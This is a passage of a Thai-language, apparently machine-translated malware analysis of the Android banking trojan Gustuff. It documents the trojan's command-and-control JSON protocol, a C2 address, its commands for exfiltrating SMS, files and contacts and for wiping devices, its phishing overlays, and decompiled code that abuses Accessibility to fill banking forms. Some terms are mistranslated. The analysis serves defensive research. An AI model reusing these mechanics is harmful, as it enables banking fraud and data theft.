วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ

วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ

เมื่อวันก่อน Group-IB แจ้ง เกี่ยวกับกิจกรรมของมือถือ Android Trojan Gustuff มันทำงานเฉพาะในตลาดต่างประเทศ โดยโจมตีลูกค้าของธนาคารต่างประเทศที่ใหญ่ที่สุด 100 แห่ง ผู้ใช้กระเป๋าเงินดิจิตอลเข้ารหัส 32 ใบ รวมถึงทรัพยากรอีคอมเมิร์ซขนาดใหญ่ แต่ผู้พัฒนา Gustuff นั้นเป็นอาชญากรไซเบอร์ที่พูดภาษารัสเซียภายใต้ชื่อเล่น Bestoffer จนกระทั่งเมื่อไม่นานมานี้ เขายกย่องโทรจันของเขาว่าเป็น “ผลิตภัณฑ์ที่จริงจังสำหรับผู้ที่มีความรู้และประสบการณ์”

ผู้เชี่ยวชาญด้านการวิเคราะห์โค้ดที่เป็นอันตรายที่ Group-IB อีวาน ปิซาเรฟ ในงานวิจัยของเขา เขาพูดถึงรายละเอียดเกี่ยวกับวิธีการทำงานของ Gustuff และอันตรายของมัน

กัสทัฟฟ์กำลังตามล่าใครอยู่?

Gustuff เป็นมัลแวร์รุ่นใหม่ที่มีฟังก์ชันอัตโนมัติเต็มรูปแบบ ตามที่นักพัฒนาระบุ โทรจันได้กลายเป็นมัลแวร์ AndyBot เวอร์ชันใหม่ที่ได้รับการปรับปรุง ซึ่งตั้งแต่เดือนพฤศจิกายน 2017 ได้โจมตีโทรศัพท์ Android และขโมยเงินผ่านแบบฟอร์มเว็บฟิชชิ่งที่ปลอมแปลงเป็นแอปพลิเคชันมือถือของธนาคารต่างประเทศและระบบการชำระเงินที่มีชื่อเสียง Bestoffer รายงานว่าราคาเช่า Gustuff Bot อยู่ที่ 800 เหรียญต่อเดือน

การวิเคราะห์ตัวอย่าง Gustuff แสดงให้เห็นว่าโทรจันอาจกำหนดเป้าหมายลูกค้าที่ใช้แอปพลิเคชันมือถือของธนาคารที่ใหญ่ที่สุด เช่น Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank รวมถึงกระเป๋าสตางค์ crypto กระเป๋าเงิน Bitcoin, BitPay, Cryptopay, Coinbase ฯลฯ

เดิมทีสร้างขึ้นเป็นโทรจันธนาคารแบบคลาสสิก ในเวอร์ชันปัจจุบัน Gustuff ได้ขยายรายการเป้าหมายที่เป็นไปได้สำหรับการโจมตีอย่างมีนัยสำคัญ นอกเหนือจากแอปพลิเคชัน Android สำหรับธนาคาร บริษัท fintech และบริการ crypto แล้ว Gustuff ยังมุ่งเป้าไปที่ผู้ใช้แอปพลิเคชันในตลาด ร้านค้าออนไลน์ ระบบการชำระเงิน และผู้ส่งข้อความด่วน โดยเฉพาะอย่างยิ่ง PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut และอื่นๆ

จุดเริ่มต้น: การคำนวณการติดเชื้อจำนวนมาก

Gustuff โดดเด่นด้วยเวกเตอร์ "คลาสสิก" ของการรุกเข้าสู่สมาร์ทโฟน Android ผ่านการส่งอีเมล SMS พร้อมลิงก์ไปยัง APK เมื่ออุปกรณ์ Android ติดโทรจันตามคำสั่งของเซิร์ฟเวอร์ Gustuff อาจแพร่กระจายผ่านฐานข้อมูลการติดต่อของโทรศัพท์ที่ติดไวรัสหรือผ่านฐานข้อมูลเซิร์ฟเวอร์ ฟังก์ชันการทำงานของ Gustuff ได้รับการออกแบบมาเพื่อการติดเชื้อในวงกว้างและการใช้เงินทุนสูงสุดในธุรกิจของผู้ให้บริการ - มีฟังก์ชัน "เติมอัตโนมัติ" ที่เป็นเอกลักษณ์ลงในแอปพลิเคชันธนาคารบนมือถือและกระเป๋าเงินดิจิทัลที่ถูกกฎหมาย ซึ่งช่วยให้คุณเร่งความเร็วและปรับขนาดการขโมยเงินได้

การศึกษาเกี่ยวกับโทรจันพบว่ามีการใช้งานฟังก์ชันป้อนอัตโนมัติโดยใช้ Accessibility Service ซึ่งเป็นบริการสำหรับผู้พิการ Gustuff ไม่ใช่โทรจันตัวแรกที่ประสบความสำเร็จในการหลีกเลี่ยงการป้องกันการโต้ตอบกับองค์ประกอบหน้าต่างของแอปพลิเคชันอื่นที่ใช้บริการ Android นี้ อย่างไรก็ตามการใช้บริการ Accessibility Service ร่วมกับการเติมน้ำมันรถยนต์ยังเกิดขึ้นไม่บ่อยนัก

หลังจากดาวน์โหลดลงในโทรศัพท์ของเหยื่อ Gustuff โดยใช้บริการการเข้าถึงจะสามารถโต้ตอบกับองค์ประกอบหน้าต่างของแอปพลิเคชันอื่น ๆ (การธนาคาร สกุลเงินดิจิทัล รวมถึงแอปพลิเคชันสำหรับการช็อปปิ้งออนไลน์ การส่งข้อความ ฯลฯ) เพื่อดำเนินการที่จำเป็นสำหรับผู้โจมตี . ตัวอย่างเช่น ตามคำสั่งของเซิร์ฟเวอร์ โทรจันสามารถกดปุ่มและเปลี่ยนค่าของช่องข้อความในแอปพลิเคชันธนาคารได้ การใช้กลไกบริการการเข้าถึงทำให้โทรจันสามารถเลี่ยงผ่านกลไกความปลอดภัยที่ธนาคารใช้เพื่อตอบโต้โทรจันมือถือรุ่นก่อนหน้า รวมถึงการเปลี่ยนแปลงนโยบายความปลอดภัยที่ Google นำมาใช้ในระบบปฏิบัติการ Android เวอร์ชันใหม่ ดังนั้น Gustuff “รู้วิธี” เพื่อปิดการใช้งานการป้องกันของ Google Protect: ตามที่ผู้เขียนกล่าวไว้ ฟังก์ชั่นนี้ใช้งานได้ใน 70% ของกรณี

วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ

Gustuff ยังสามารถแสดงการแจ้งเตือน PUSH ปลอมพร้อมไอคอนของแอปพลิเคชันมือถือที่ถูกกฎหมาย ผู้ใช้คลิกที่การแจ้งเตือน PUSH และเห็นหน้าต่างฟิชชิ่งที่ดาวน์โหลดจากเซิร์ฟเวอร์ ซึ่งเขาป้อนข้อมูลบัตรธนาคารหรือกระเป๋าเงินดิจิตอลเข้ารหัสที่ร้องขอ ในสถานการณ์ Gustuff อื่น แอปพลิเคชันในนามของการแสดงการแจ้งเตือน PUSH จะถูกเปิดขึ้น ในกรณีนี้ เมื่อได้รับคำสั่งจากเซิร์ฟเวอร์ผ่านบริการการเข้าถึง มัลแวร์จะสามารถกรอกแบบฟอร์มในใบสมัครธนาคารเพื่อทำธุรกรรมที่เป็นการฉ้อโกงได้

ฟังก์ชันการทำงานของ Gustuff ยังรวมถึงการส่งข้อมูลเกี่ยวกับอุปกรณ์ที่ติดไวรัสไปยังเซิร์ฟเวอร์ ความสามารถในการอ่าน/ส่งข้อความ SMS การส่งคำขอ USSD การเปิดใช้งาน SOCKS5 Proxy ตามลิงก์ การส่งไฟล์ (รวมถึงการสแกนภาพถ่ายของเอกสาร ภาพหน้าจอ รูปถ่าย) ไปยัง เซิร์ฟเวอร์ ให้รีเซ็ตอุปกรณ์เป็นการตั้งค่าจากโรงงาน

การวิเคราะห์มัลแวร์

ก่อนที่จะติดตั้งแอปพลิเคชันที่เป็นอันตราย ระบบปฏิบัติการ Android จะแสดงหน้าต่างที่มีรายการสิทธิ์ที่ Gustuff ร้องขอให้ผู้ใช้เห็น:

วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ
แอปพลิเคชันจะถูกติดตั้งหลังจากได้รับความยินยอมจากผู้ใช้เท่านั้น หลังจากเปิดแอปพลิเคชั่น โทรจันจะแสดงหน้าต่างให้ผู้ใช้เห็น:

วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ
หลังจากนั้นมันจะลบไอคอนออก

ตามที่ผู้เขียนระบุ Gustuff ได้รับการบรรจุโดยผู้บรรจุหีบห่อจาก FTT หลังจากเริ่มต้น แอปพลิเคชันจะติดต่อกับเซิร์ฟเวอร์ CnC เป็นระยะเพื่อรับคำสั่ง ไฟล์หลายไฟล์ที่เราตรวจสอบใช้ที่อยู่ IP เป็นเซิร์ฟเวอร์ควบคุม 88.99.171[.]105 (ต่อไปนี้เราจะแสดงเป็น <%ซีเอ็นซี%>).

หลังจากเปิดตัวโปรแกรมจะเริ่มส่งข้อความไปยังเซิร์ฟเวอร์ http://<%CnC%>/api/v1/get.php.

การตอบสนองคาดว่าจะเป็น JSON ในรูปแบบต่อไปนี้:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

แต่ละครั้งที่มีการเข้าถึงแอปพลิเคชัน แอปพลิเคชันจะส่งข้อมูลเกี่ยวกับอุปกรณ์ที่ติดไวรัส รูปแบบข้อความแสดงไว้ด้านล่าง เป็นที่น่าสังเกตว่าทุ่งนา เต็ม, พิเศษ, ปพลิเคชัน и การอนุญาต – เป็นทางเลือก และจะถูกส่งเฉพาะในกรณีที่มีคำขอคำสั่งจาก CnC เท่านั้น

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

จัดเก็บข้อมูลการกำหนดค่า

Gustuff จัดเก็บข้อมูลที่สำคัญในการปฏิบัติงานไว้ในไฟล์กำหนดลักษณะ ชื่อไฟล์ตลอดจนชื่อของพารามิเตอร์ในนั้นเป็นผลมาจากการคำนวณผลรวม MD5 จากสตริง 15413090667214.6.1<%ชื่อ%>ที่ไหน <%ชื่อ%> — ชื่อ-ค่าเริ่มต้น การตีความ Python ของฟังก์ชันการสร้างชื่อ:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

ต่อไปนี้เราจะแสดงว่ามันเป็น ชื่อเครื่องกำเนิดไฟฟ้า (อินพุต).
ดังนั้นชื่อไฟล์แรกคือ: ชื่อเครื่องกำเนิดไฟฟ้า ("API_SERVER_LIST")โดยจะประกอบด้วยค่าที่มีชื่อดังต่อไปนี้:

ชื่อตัวแปร มูลค่า
ชื่อเครื่องกำเนิดไฟฟ้า ("API_SERVER_LIST") ประกอบด้วยรายการที่อยู่ CnC ในรูปแบบของอาร์เรย์
nameGenerator("API_SERVER_URL") มีที่อยู่ CnC
nameGenerator("SMS_UPLOAD") ธงถูกตั้งค่าตามค่าเริ่มต้น หากตั้งค่าสถานะไว้ จะส่งข้อความ SMS ไปที่ CnC
nameGenerator("SMS_ROOT_NUMBER") หมายเลขโทรศัพท์ที่ข้อความ SMS ที่ได้รับจากอุปกรณ์ที่ติดไวรัสจะถูกส่งไป ค่าเริ่มต้นเป็นโมฆะ
เครื่องกำเนิดชื่อ ("SMS_ROOT_NUMBER_RESEND") ค่าสถานะจะถูกล้างตามค่าเริ่มต้น หากติดตั้งไว้ เมื่ออุปกรณ์ที่ติดไวรัสได้รับ SMS อุปกรณ์จะถูกส่งไปยังหมายเลขรูท
ชื่อเครื่องกำเนิดไฟฟ้า ("DEFAULT_APP_SMS") ค่าสถานะจะถูกล้างตามค่าเริ่มต้น หากตั้งค่าสถานะนี้ แอปพลิเคชันจะประมวลผลข้อความ SMS ขาเข้า
nameGenerator("DEFAULT_ADMIN") ค่าสถานะจะถูกล้างตามค่าเริ่มต้น หากมีการตั้งค่าสถานะ แอปพลิเคชันจะมีสิทธิ์ของผู้ดูแลระบบ
nameGenerator("DEFAULT_ACCESSIBILITY") ค่าสถานะจะถูกล้างตามค่าเริ่มต้น หากตั้งค่าสถานะ แสดงว่าบริการที่ใช้บริการการเข้าถึงกำลังทำงานอยู่
nameGenerator("APPS_CONFIG") ออบเจ็กต์ JSON ที่มีรายการการกระทำที่ต้องดำเนินการเมื่อมีการทริกเกอร์เหตุการณ์การช่วยสำหรับการเข้าถึงที่เชื่อมโยงกับแอปพลิเคชันเฉพาะ
ชื่อเครื่องกำเนิดไฟฟ้า ("APPS_INSTALLED") จัดเก็บรายการแอปพลิเคชันที่ติดตั้งบนอุปกรณ์
nameGenerator("IS_FIST_RUN") ธงจะถูกรีเซ็ตเมื่อเริ่มครั้งแรก
nameGenerator("UNIQUE_ID") มีตัวระบุที่ไม่ซ้ำกัน สร้างขึ้นเมื่อมีการเปิดตัวบอทเป็นครั้งแรก

โมดูลสำหรับประมวลผลคำสั่งจากเซิร์ฟเวอร์

แอปพลิเคชันจัดเก็บที่อยู่ของเซิร์ฟเวอร์ CnC ในรูปแบบของอาเรย์ที่เข้ารหัสโดย Base85 เส้น รายการเซิร์ฟเวอร์ CnC สามารถเปลี่ยนแปลงได้เมื่อได้รับคำสั่งที่เหมาะสม ซึ่งในกรณีนี้ที่อยู่จะถูกจัดเก็บไว้ในไฟล์การตั้งค่า

เพื่อตอบสนองต่อคำขอ เซิร์ฟเวอร์จะส่งคำสั่งไปยังแอปพลิเคชัน เป็นที่น่าสังเกตว่าคำสั่งและพารามิเตอร์แสดงในรูปแบบ JSON แอปพลิเคชันสามารถประมวลผลคำสั่งต่อไปนี้:

ทีม ลักษณะ
ไปข้างหน้าเริ่มต้น เริ่มส่งข้อความ SMS ที่ได้รับจากอุปกรณ์ที่ติดไวรัสไปยังเซิร์ฟเวอร์ CnC
ไปข้างหน้าหยุด หยุดส่งข้อความ SMS ที่ได้รับจากอุปกรณ์ที่ติดไวรัสไปยังเซิร์ฟเวอร์ CnC
ussdRun ดำเนินการคำขอ USSD หมายเลขที่คุณต้องใช้ในการขอ USSD จะอยู่ในช่อง "หมายเลข" ของช่อง JSON
sendSms ส่งข้อความ SMS หนึ่งข้อความ (หากจำเป็น ข้อความจะ "แยก" ออกเป็นส่วนๆ) ในฐานะพารามิเตอร์ คำสั่งจะใช้ออบเจ็กต์ JSON ที่มีฟิลด์ “to” - หมายเลขปลายทาง และ “body” - เนื้อความของข้อความ
sendSmsAb ส่งข้อความ SMS (หากจำเป็น ข้อความจะถูก "แยก" ออกเป็นส่วน ๆ) ถึงทุกคนในรายชื่อผู้ติดต่อของอุปกรณ์ที่ติดไวรัส ช่วงเวลาระหว่างการส่งข้อความคือ 10 วินาที เนื้อหาของข้อความอยู่ในช่อง JSON "body"
sendSmsMass ส่งข้อความ SMS (หากจำเป็น ข้อความจะถูก "แยก" ออกเป็นส่วนๆ) ไปยังผู้ติดต่อที่ระบุในพารามิเตอร์คำสั่ง ช่วงเวลาระหว่างการส่งข้อความคือ 10 วินาที ในฐานะพารามิเตอร์ คำสั่งจะใช้อาร์เรย์ JSON (ฟิลด์ "sms") ซึ่งองค์ประกอบประกอบด้วยฟิลด์ "ถึง" - หมายเลขปลายทาง และ "เนื้อหา" - เนื้อความของข้อความ
เปลี่ยนเซิร์ฟเวอร์ คำสั่งนี้สามารถรับค่าที่มีคีย์ “url” เป็นพารามิเตอร์ - จากนั้นบอทจะเปลี่ยนค่าของ nameGenerator(“SERVER_URL”) หรือ “array” - จากนั้นบอทจะเขียนอาร์เรย์เป็น nameGenerator (“API_SERVER_LIST”) ดังนั้นแอปพลิเคชันจะเปลี่ยนที่อยู่ของเซิร์ฟเวอร์ CnC
ผู้ดูแลระบบหมายเลข คำสั่งได้รับการออกแบบให้ทำงานกับหมายเลขรูท คำสั่งยอมรับออบเจ็กต์ JSON ด้วยพารามิเตอร์ต่อไปนี้: “number” — เปลี่ยน nameGenerator(“ROOT_NUMBER”) เป็นค่าที่ได้รับ, “ส่งอีกครั้ง” — เปลี่ยน nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — ส่งไปยัง nameGenerator(“ROOT_NUMBER” ) ID ไม่ซ้ำกัน.
อัพเดตข้อมูล ส่งข้อมูลเกี่ยวกับอุปกรณ์ที่ติดไวรัสไปยังเซิร์ฟเวอร์
ลบข้อมูล คำสั่งมีวัตถุประสงค์เพื่อลบข้อมูลผู้ใช้ ข้อมูลจะถูกลบทั้งหมดด้วยการรีบูทอุปกรณ์ (ผู้ใช้หลัก) หรือลบเฉพาะข้อมูลผู้ใช้ (ผู้ใช้รอง) ทั้งนี้ขึ้นอยู่กับชื่อที่เปิดใช้แอปพลิเคชัน
ถุงเท้าStart เรียกใช้โมดูลพร็อกซี การทำงานของโมดูลอธิบายไว้ในส่วนแยกต่างหาก
ถุงเท้าหยุด หยุดโมดูลพร็อกซี
เปิดลิ้งค์ ตามลิงค์ครับ ลิงก์อยู่ในพารามิเตอร์ JSON ใต้คีย์ "url" “android.intent.action.VIEW” ใช้เพื่อเปิดลิงก์
อัพโหลดAllSms ส่งข้อความ SMS ทั้งหมดที่อุปกรณ์ได้รับไปยังเซิร์ฟเวอร์
อัพโหลดรูปภาพทั้งหมด ส่งภาพจากอุปกรณ์ที่ติดไวรัสไปยัง URL URL มาเป็นพารามิเตอร์
uploadFile ส่งไฟล์ไปยัง URL จากอุปกรณ์ที่ติดไวรัส URL มาเป็นพารามิเตอร์
อัพโหลดหมายเลขโทรศัพท์ ส่งหมายเลขโทรศัพท์จากรายชื่อผู้ติดต่อของคุณไปยังเซิร์ฟเวอร์ หากได้รับค่าออบเจ็กต์ JSON พร้อมคีย์ “ab” เป็นพารามิเตอร์ แอปพลิเคชันจะได้รับรายชื่อผู้ติดต่อจากสมุดโทรศัพท์ หากได้รับออบเจ็กต์ JSON ที่มีคีย์ “sms” เป็นพารามิเตอร์ แอปพลิเคชันจะอ่านรายชื่อผู้ติดต่อจากผู้ส่งข้อความ SMS
เปลี่ยนเอกสารถาวร แอปพลิเคชันจะดาวน์โหลดไฟล์จากที่อยู่ที่มาพร้อมกับพารามิเตอร์โดยใช้ปุ่ม "url" ไฟล์ที่ดาวน์โหลดจะถูกบันทึกด้วยชื่อ “archive.zip” จากนั้นแอปพลิเคชันจะคลายซิปไฟล์ หรือใช้รหัสผ่านการเก็บถาวร “b5jXh37gxgHBrZhQ4j3D” ไฟล์ที่แตกออกมาจะถูกบันทึกไว้ในไดเร็กทอรี [external storage]/hgps ในไดเร็กทอรีนี้ แอปพลิเคชันจะจัดเก็บเว็บปลอม (อธิบายไว้ด้านล่าง)
การปฏิบัติ คำสั่งได้รับการออกแบบให้ทำงานกับ Action Service ซึ่งอธิบายไว้ในส่วนแยกต่างหาก
ทดสอบ ไม่ได้ทำอะไร.
ดาวน์โหลด คำสั่งนี้มีจุดประสงค์เพื่อดาวน์โหลดไฟล์จากเซิร์ฟเวอร์ระยะไกลและบันทึกลงในไดเร็กทอรี "ดาวน์โหลด" URL และชื่อไฟล์มาเป็นพารามิเตอร์ โดยช่องในออบเจ็กต์พารามิเตอร์ JSON ตามลำดับ: “url” และ “fileName”
เอาออก ลบไฟล์ออกจากไดเรกทอรี "ดาวน์โหลด" ชื่อไฟล์มาในพารามิเตอร์ JSON พร้อมด้วยคีย์ "fileName" ชื่อไฟล์มาตรฐานคือ “tmp.apk”
การประกาศ แสดงการแจ้งเตือนพร้อมคำอธิบายและข้อความชื่อเรื่องที่กำหนดโดยเซิร์ฟเวอร์การจัดการ

รูปแบบคำสั่ง การประกาศ:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

การแจ้งเตือนที่สร้างโดยไฟล์ที่อยู่ระหว่างการตรวจสอบจะเหมือนกับการแจ้งเตือนที่สร้างโดยแอปพลิเคชันที่ระบุในฟิลด์ app. ถ้าค่าสนาม openApp — จริง เมื่อเปิดการแจ้งเตือน แอปพลิเคชันที่ระบุในช่องจะเปิดขึ้น app. ถ้าค่าสนาม openApp — เท็จ แล้ว:

  • หน้าต่างฟิชชิ่งจะเปิดขึ้น เนื้อหาจะถูกดาวน์โหลดจากไดเร็กทอรี <%ที่จัดเก็บข้อมูลภายนอก%>/hgps/<%ชื่อไฟล์%>
  • หน้าต่างฟิชชิ่งจะเปิดขึ้น เนื้อหาจะถูกดาวน์โหลดจากเซิร์ฟเวอร์ <%url%>?id=<%Bot id%>&app=<%ชื่อแอปพลิเคชัน%>
  • หน้าต่างฟิชชิ่งจะเปิดขึ้นโดยปลอมตัวเป็นการ์ด Google Play พร้อมโอกาสในการป้อนรายละเอียดการ์ด

แอปพลิเคชันจะส่งผลลัพธ์ของคำสั่งใด ๆ ไปที่ <%CnC%>set_state.php เป็นวัตถุ JSON ในรูปแบบต่อไปนี้:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

การดำเนินการบริการ
รายการคำสั่งที่กระบวนการแอปพลิเคชันรวมอยู่ด้วย การกระทำ. เมื่อได้รับคำสั่ง โมดูลประมวลผลคำสั่งจะเข้าถึงบริการนี้เพื่อดำเนินการคำสั่งเพิ่มเติม บริการยอมรับออบเจ็กต์ JSON เป็นพารามิเตอร์ บริการสามารถดำเนินการคำสั่งต่อไปนี้:

1. พารามิเตอร์_ACTION — เมื่อได้รับคำสั่งดังกล่าว บริการจะได้รับค่าของคีย์ Type จากพารามิเตอร์ JSON ก่อน ซึ่งสามารถเป็นดังนี้:

  • ข้อมูลบริการ – คำสั่งย่อยรับค่าตามคีย์จากพารามิเตอร์ JSON รวมไม่สำคัญ. ถ้าค่าสถานะเป็น True แอปพลิเคชันจะตั้งค่าสถานะ FLAG_ISOLATED_กระบวนการ ไปยังบริการที่ใช้บริการการเข้าถึง วิธีนี้จะเปิดตัวบริการในกระบวนการแยกต่างหาก
  • ราก — รับและส่งข้อมูลเกี่ยวกับหน้าต่างที่อยู่ในโฟกัสไปยังเซิร์ฟเวอร์ แอปพลิเคชันได้รับข้อมูลโดยใช้คลาส AccessibilityNodeInfo
  • ผู้ดูแลระบบ — ขอสิทธิ์ผู้ดูแลระบบ
  • ความล่าช้า — ระงับ ActionsService ตามจำนวนมิลลิวินาทีที่ระบุในพารามิเตอร์สำหรับคีย์ “data”
  • หน้าต่าง — ส่งรายการหน้าต่างที่ผู้ใช้มองเห็นได้
  • ติดตั้ง — ติดตั้งแอปพลิเคชั่นบนอุปกรณ์ที่ติดไวรัส ชื่อของแพ็คเกจไฟล์เก็บถาวรอยู่ในคีย์ "ชื่อไฟล์" ไฟล์เก็บถาวรนั้นอยู่ในไดเรกทอรีดาวน์โหลด
  • ทั่วโลก – คำสั่งย่อยมีวัตถุประสงค์เพื่อนำทางจากหน้าต่างปัจจุบัน:
    • บนเมนูการตั้งค่าด่วน
    • มาแล้ว
    • บ้าน
    • เพื่อการแจ้งเตือน
    • ไปยังหน้าต่างแอปพลิเคชันที่เพิ่งเปิดใหม่

  • เปิดตัว - เปิดแอปพลิเคชัน ชื่อแอปพลิเคชันมาเป็นพารามิเตอร์ตามคีย์ ข้อมูล.
  • เสียง — เปลี่ยนโหมดเสียงเป็นเงียบ
  • ปลดล็อก — เปิดไฟแบ็คไลท์ของหน้าจอและคีย์บอร์ดให้สว่างเต็มที่ แอปพลิเคชันดำเนินการนี้โดยใช้ WakeLock โดยระบุสตริง [Application lable]:INFO เป็นแท็ก
  • การอนุญาตซ้อนทับ — ฟังก์ชั่นไม่ได้ถูกนำมาใช้ (การตอบสนองต่อการดำเนินการคำสั่งคือ {"message": Not support "} หรือ {"message": "low sdk"})
  • เชิง — ฟังก์ชั่นไม่ได้ถูกนำมาใช้ (การตอบสนองต่อการดำเนินการคำสั่งคือ {"message": "ไม่สนับสนุน"} หรือ {"ข้อความ": API ต่ำ"})
  • สิทธิ์ — คำสั่งนี้จำเป็นในการขอสิทธิ์สำหรับแอปพลิเคชัน อย่างไรก็ตาม ฟังก์ชันแบบสอบถามไม่ได้ถูกนำมาใช้ ดังนั้นคำสั่งจึงไม่มีความหมาย รายการสิทธิ์ที่ร้องขอมาในรูปแบบอาร์เรย์ JSON พร้อมด้วยคีย์ "สิทธิ์" รายการมาตรฐาน:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • เปิด — แสดงหน้าต่างฟิชชิ่ง ขึ้นอยู่กับพารามิเตอร์ที่มาจากเซิร์ฟเวอร์ แอปพลิเคชันอาจแสดงหน้าต่างฟิชชิ่งต่อไปนี้:
    • แสดงหน้าต่างฟิชชิ่งที่มีเนื้อหาเขียนอยู่ในไฟล์ในไดเร็กทอรี <%ไดเรกทอรีภายนอก%>/hgps/<%param_filename%>. ผลลัพธ์ของการโต้ตอบของผู้ใช้กับหน้าต่างจะถูกส่งไปยัง <%CnC%>/records.php
    • แสดงหน้าต่างฟิชชิ่งที่มีเนื้อหาโหลดไว้ล่วงหน้าจากที่อยู่ <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ผลลัพธ์ของการโต้ตอบของผู้ใช้กับหน้าต่างจะถูกส่งไปยัง <%CnC%>/records.php
    • แสดงหน้าต่างฟิชชิ่งที่ปลอมแปลงเป็นการ์ด Google Play

  • การโต้ตอบ — คำสั่งถูกออกแบบมาเพื่อโต้ตอบกับองค์ประกอบหน้าต่างของแอปพลิเคชันอื่นโดยใช้ AcessibilityService มีบริการพิเศษในโปรแกรมเพื่อการโต้ตอบ แอปพลิเคชันที่อยู่ระหว่างการตรวจสอบสามารถโต้ตอบกับ windows ได้:
    • ใช้งานอยู่ในปัจจุบัน ในกรณีนี้ พารามิเตอร์จะมีรหัสหรือข้อความ (ชื่อ) ของออบเจ็กต์ที่คุณต้องการโต้ตอบ
    • ปรากฏแก่ผู้ใช้ในขณะที่ดำเนินการคำสั่ง แอปพลิเคชันเลือกหน้าต่างตามรหัส

    ได้รับสิ่งของแล้ว การเข้าถึง NodeInfo สำหรับองค์ประกอบหน้าต่างที่น่าสนใจ แอปพลิเคชันสามารถดำเนินการต่อไปนี้ได้ ทั้งนี้ขึ้นอยู่กับพารามิเตอร์:

    • โฟกัส — ตั้งโฟกัสไปที่วัตถุ
    • คลิก — คลิกที่วัตถุ
    • actionId - ดำเนินการตาม ID
    • setText — เปลี่ยนข้อความของวัตถุ การเปลี่ยนข้อความสามารถทำได้สองวิธี: ดำเนินการ ACTION_SET_TEXT (หากอุปกรณ์ที่ติดไวรัสเวอร์ชัน Android มีอายุน้อยกว่าหรือเท่ากับ อมยิ้ม) หรือโดยการวางสตริงบนคลิปบอร์ดแล้ววางลงในวัตถุ (สำหรับเวอร์ชันเก่า) คำสั่งนี้สามารถใช้เพื่อเปลี่ยนแปลงข้อมูลในแอปพลิเคชันธนาคาร

2. PARAMS_ACTIONS - เหมือนกับ พารามิเตอร์_ACTIONมีเพียงอาร์เรย์คำสั่ง JSON เท่านั้นที่มาถึง

ดูเหมือนว่าหลายๆ คนจะสนใจว่าฟังก์ชันโต้ตอบกับองค์ประกอบหน้าต่างของแอปพลิเคชันอื่นมีลักษณะอย่างไร นี่คือวิธีการใช้ฟังก์ชันนี้ใน Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
